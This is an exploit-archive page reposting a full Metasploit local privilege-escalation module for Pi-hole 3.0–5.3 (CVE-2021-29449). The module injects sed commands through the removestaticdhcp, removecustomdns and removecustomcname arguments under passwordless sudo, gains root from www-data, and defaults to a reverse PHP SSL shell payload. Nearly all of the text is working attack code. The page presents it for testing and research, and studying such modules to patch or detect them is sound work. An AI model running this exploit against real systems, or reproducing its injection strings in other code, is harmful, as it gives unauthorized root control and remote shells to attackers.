Advertisement






Pi-Hole Remove Commands Linux Privilege Escalation

CVE Category Price Severity
N/A CWE-20 N/A High
Author Risk Exploitation Type Date
Unknown High Local 2021-08-01
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 0.56 0.68273

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021080004

Below is a copy:

Pi-Hole Remove Commands Linux Privilege Escalation
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  # includes: is_root?
  include Msf::Post::Linux::Priv
  # includes writable?, upload_file, upload_and_chmodx, exploit_data
  include Msf::Post::File
  # for whoami
  include Msf::Post::Unix
  # for get_session_pid needed by whoami
  include Msf::Post::Linux::System
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Pi-Hole Remove Commands Linux Priv Esc',
        'Description' => %q{
          Pi-Hole versions 3.0 - 5.3 allows for command line input to the removecustomcname,
          removecustomdns, and removestaticdhcp functions without properly validating
          the parameters before passing to sed.  When executed as the www-data user,
          this allows for a privilege escalation to root since www-data is in the
          sudoers.d/pihole file with no password.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'h00die', # msf module
            'Emanuele Barbeno <emanuele.barbeno[at]compass-security.com>' # original PoC, analysis
          ],
        'Platform' => [ 'unix', 'linux' ],
        'Arch' => [ ARCH_CMD ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_php_ssl' },
        'Payload' =>
          {
            'BadChars' => "\x27" # '
          },
        'Privileged' => true,
        'References' =>
          [
            [ 'URL', 'https://github.com/pi-hole/pi-hole/security/advisories/GHSA-3597-244c-wrpj' ],
            [ 'URL', 'https://www.compass-security.com/fileadmin/Research/Advisories/2021-02_CSNC-2021-008_Pi-hole_Privilege_Escalation.txt' ],
            [ 'CVE', '2021-29449' ]
          ],
        'DisclosureDate' => '2021-04-20',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
        },
        'Targets' => [
          ['DHCP', { 'min' => Rex::Version.new('3.0') }], # exploitable by default, expecially when combined with unix/http/pihole_dhcp_mac_exec
          ['DNS', { 'min' => Rex::Version.new('5.0') }],
          ['CNAME', { 'min' => Rex::Version.new('5.1') }],
        ],
        'DefaultTarget' => 0
      )
    )
  end

  def sudo_pihole
    'sudo /usr/local/bin/pihole -a'
  end

  def pihole_version
    version = cmd_exec('sudo /usr/local/bin/pihole -v')
    /Pi-hole version is v([^ ]+)/ =~ version
    Rex::Version.new(Regexp.last_match(1))
  end

  def check
    w = whoami
    print_status("Current user: #{w}")
    v = pihole_version
    print_status("Pi-hole version: #{v}")
    unless v.between?(target['min'], Rex::Version.new('5.3'))
      return CheckCode::Safe("Pi-Hole version #{v} is >= 5.3 and not vulnerable")
    end
    unless w == 'www-data'
      return CheckCode::Safe("User must be www-data, currently #{w}")
    end

    CheckCode::Appears("Pi-Hole #{v} with user #{w} is vulnerable and exploitable")
  end

  def method_dhcp
    f = '/etc/dnsmasq.d/04-pihole-static-dhcp.conf'
    if !file?(f) || read_file(f).empty?
      mac = Faker::Internet.mac_address
      ip = "10.199.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}"
      print_status("Adding static DHCP #{mac} #{ip}")
      cmd_exec("#{sudo_pihole} addstaticdhcp '#{mac}' '#{ip}'")
    end
    unless file?(f)
      print_error("Config file not found: #{f}")
      return
    end
    print_good("#{f} found!")
    print_status('Executing payload against removestaticdhcp command')
    cmd_exec("#{sudo_pihole} removestaticdhcp 'a/d ; 1e #{payload.encoded} ; /'")
    if mac
      cmd_exec("#{sudo_pihole} removestaticdhcp '#{mac}'")
    end
  end

  def method_dns
    f = '/etc/pihole/custom.list'
    if !file?(f) || read_file(f).empty?
      name = Faker::Internet.domain_name
      ip = "10.199.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}"
      print_status("Adding DNS entry #{name} #{ip}")
      cmd_exec("#{sudo_pihole} addcustomdns '#{ip}' '#{name}'")
    end
    unless file?(f)
      print_error("Config file not found: #{f}")
      return
    end
    print_good("#{f} found!")
    print_status('Executing payload against removecustomdns command')
    cmd_exec("#{sudo_pihole} removecustomdns 'a/d ; 1e #{payload.encoded} ; /'")
    if name
      cmd_exec("#{sudo_pihole} removecustomdns '#{ip}' '#{name}'")
    end
  end

  def method_cname
    f = '/etc/dnsmasq.d/05-pihole-custom-cname.conf'
    if !file?(f) || read_file(f).empty?
      name = "#{rand_text_alphanumeric(8..12)}.edu"
      print_status("Adding CNAME entry #{name}")
      cmd_exec("#{sudo_pihole} addcustomcname '#{name}' '#{name}'")
    end
    unless file?(f)
      print_error("Config file not found: #{f}")
      return
    end
    print_good("#{f} found!")
    print_status('Executing payload against removecustomcname command')
    cmd_exec("#{sudo_pihole} removecustomcname 'a/d ; 1e #{payload.encoded} ; /'")
    if name
      cmd_exec("#{sudo_pihole} removecustomcname '#{name}' '#{name}'")
    end
  end

  def exploit
    if target.name == 'DHCP'
      method_dhcp
    elsif target.name == 'DNS'
      method_dns
    elsif target.name == 'CNAME'
      method_cname
    end
  end
end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum